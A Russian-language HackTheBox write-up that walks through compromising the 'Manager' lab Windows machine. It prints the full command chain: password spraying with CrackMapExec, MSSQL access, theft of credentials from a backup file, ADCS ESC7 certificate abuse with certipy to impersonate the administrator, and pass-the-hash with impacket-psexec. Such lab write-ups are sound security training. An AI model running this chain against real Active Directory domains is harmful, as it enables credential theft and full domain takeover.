HTB Manager. Проводим атаку на центр сертификатов в Active Directory

Привествую вас, дорогие читатели, на связи компания AP Security. Сегодня мы с вами пройдем Windows-машину Manager на HackTheBox.

4ce744777a47ab527db6f06e1ee6c233.png

Сканирование и разведка

Для обнаружения активных сервисов просканируем машину с помощью Nmap:

nmap -sC -sV -p- -T4 10.10.11.236

4e1b2fa1fea7861d4fc25163778b2d78.png786eb190006ad01108d552aa759d60f1.png

Попробуем определить активных пользователей с помощью CrackMapExec, используя опцию
--rid-brute:

crackmapexec smb 10.10.11.236 -u anonymous -p ' ' --rid-brute

fa22f950fe7c6b6f8c9366f6e6e5c02f.png

В результате получим список пользователей, который можно применить для дальнейшего развития вектора атаки. Список сохраним в отдельный файл, приведем к нижнему регистру и попробуем поспреить пароли на различные сервисы. К счастью у нас это получится, ведь CrackMapExec поддерживает работу с большим количеством протоколов Microsoft.

crackmapexec smb 10.10.11.236 -u users.txt -p users.txt
crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt

Обнаружим, что у пользователя operator пароль совпадает с юзернеймом для службы MsSQL:

1aebb54156b7038964d0ad839e8f00ef.png

Точка входа

Имея учетные данные к mssql, мы можем воспользоваться модулем mssqlclient из утилиты Impacket для подключения к базе данных:

impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 
-windows-auth

8c053d5cdd4dbaddc7702fd1dc3c218d.png

Итак, мы успешно получили удаленный доступ к базе данных! Попробуем выполнить следующую команду для просмотра корневой папки:

exec xp_dirtree 'C:\inetpub\wwroot',1,1;

У процедуры xp_dirtree три параметра:

  • directory — путь для получения списка папок и файлов

  • depth — сколько уровней вложенных папок следует сканировать (по умолчанию 0 — все подпапки)

  • file — кроме списка папок возвращать список файлов (по умолчанию 0 — отображать только папки)

Данная команда выводит список папок и файлов в указанном пути.

Вы можете подробнее ознакомиться с методологией тестирования на проникновения MsSQL на HackTricks.

0f4382dad78515e1f71629e6a13a6322.png

Хм, любопытный архив с названием website-backup. Выкачаем его с помощью wget:

wget 10.10.11.236/website-backup-27-07-23-old.zip

679c6180519b5fdb9a24520692172260.png

Распакуем архив и найдем там файл .old-conf.xml. Просмотрим его содержимое на наличие какой-либо интересной нам информации:

adafa399bb17642a50f5d20bf28530ca.png

Отлично, мы получили учетные данные пользователя raven. Попробуем креды для подключения к машине с помощью утилиты Evil-WinRM:

evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

2b59f69d02ffa218df2254acb9c977f3.png

Здесь же в директории C:\Users\Raven\Desktop будет лежать файл с флагом user.txt

Повышение привилегий

Посмотрим информацию о пользователе с помощью команды whoami \all

0f3da9afcd7aeac7ae156f4864ba6705.png

Пользователь состоит в группе BUILTIN\Certificate Service . Воспользуемся утилитой certipy-ad для поиска уязвимостей в службе сертификатов:

certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' 
-dc-ip 10.10.11.236

078b20ce11cec4a327aa7fb5ff36a0eb.png

Просмотрим сохраненный файл на предмет обнаружения уязвимостей:

1b8e9b2d0b3cd03537ebf487463de31e.png

Служба сертификатов уязвима к атаке ESC7. В данной службе Active Directory, есть шаб­лон, который по умол­чанию уяз­вим к ESC1, — SubCA, но выпус­кать его могут лишь поль­зовате­ли, вхо­дящие в груп­пу Domain Admins.

ESC7 возможен из-за того, что зап­росы, которые завер­шились неуда­чей, сох­раня­ются и могут быть зап­рошены повторно. Поль­зовате­ли, име­ющие пра­ва Manage CA и Manage Certificates на центр сер­тифика­ции, могут перевы­пол­нять неудач­ные зап­росы на выпуск сер­тифика­та и выпус­кать SubCA на любого поль­зовате­ля.

Первым делом синхронизируем наше время с контроллером домена:

sudo rdate -n 10.10.11.236

d88732f6b85d8239bfd988ea68427d72.png

Чтобы перевыполнять неудачные запросы, как я указал выше, нам нужно иметь права Manage CA и Manage Certificates. Мы можем предоставить себе это право, добавив нашего пользователя в качестве нового сотрудника:

certipy ca -ca 'manager-DC01-CA' -add-officer raven 
-username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' 
-dc-ip 10.10.11.236

ffd75864c3707bc7eaf516930e5d74cb.png

Шаблон SubCA может быть включен на центре сертификатов с помощью параметра
-enable-template:

certipy ca -ca 'manager-DC01-CA' -username raven@manager.htb 
-password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 
-enable-template 'SubCA'

Далее активируем сам SubCA:

certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 
-template SubCA -upn administrator@manager.htb

aa9f59fba7b6c7642767a017da18fe80.png

Запросим сертификат на основе шаблона SubCA. Запрос будет отклонен, но мы сохраним себе закрытый ключ и запишем идентификатор запроса:

certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb

03d0151fcea0a7bb19ad6e370e269045.png

С помощью команд Manage CA и Manage Certificates мы можем выпустить запрос на неудачный сертификат с помощью команды ca и параметра-issue-request:

certipy-ad ca -ca 'manager-DC01-CA' -issue-request 18 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'

aefc44edfdc3c044253999be2b58ce0f.png

Сохранив сертификат, выпустим его на пользователя administrator:

certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 - retrieve 18

09b4d79001044234543bb1e65fac6bfa.png

Получив сертификат, пройдем аутентификацию и запросим новый хеш пароля для нашего порльзователя:

certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236

c0976c1c6f68a007773cc88d9c8cd27e.png

Получив хеш пароля, подключимся к машине, воспользовавшись утилитой PsExec:

impacket-psexec manager.htb/administrator@manager.htb -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef -dc-ip 10.10.11.236

abe1378b20300eb6b7ff7aea61147c7b.png

Машина пройдена!

© Habrahabr.ru